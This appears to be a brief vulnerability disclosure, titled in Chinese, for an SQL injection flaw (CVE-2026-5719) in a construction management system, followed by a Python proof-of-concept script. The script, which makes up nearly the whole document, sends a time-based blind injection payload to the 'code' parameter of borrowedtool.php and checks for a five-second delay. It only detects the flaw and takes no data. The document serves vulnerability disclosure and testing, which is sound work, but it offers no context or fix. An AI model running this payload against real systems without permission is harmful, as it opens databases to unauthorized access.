CVE-2026-5719: 建筑管理系统SQL注入漏洞

import requests # Target URL (Example) target_url = "http://target-ip/borrowedtool.php" # Malicious payload to test SQL injection # Using a simple time-based blind injection payload payload = { "code": "1' AND SLEEP(5)-- -" } try: # Sending the GET request response = requests.get(target_url, params=payload) # Check response time to confirm vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error connecting to target: {e}")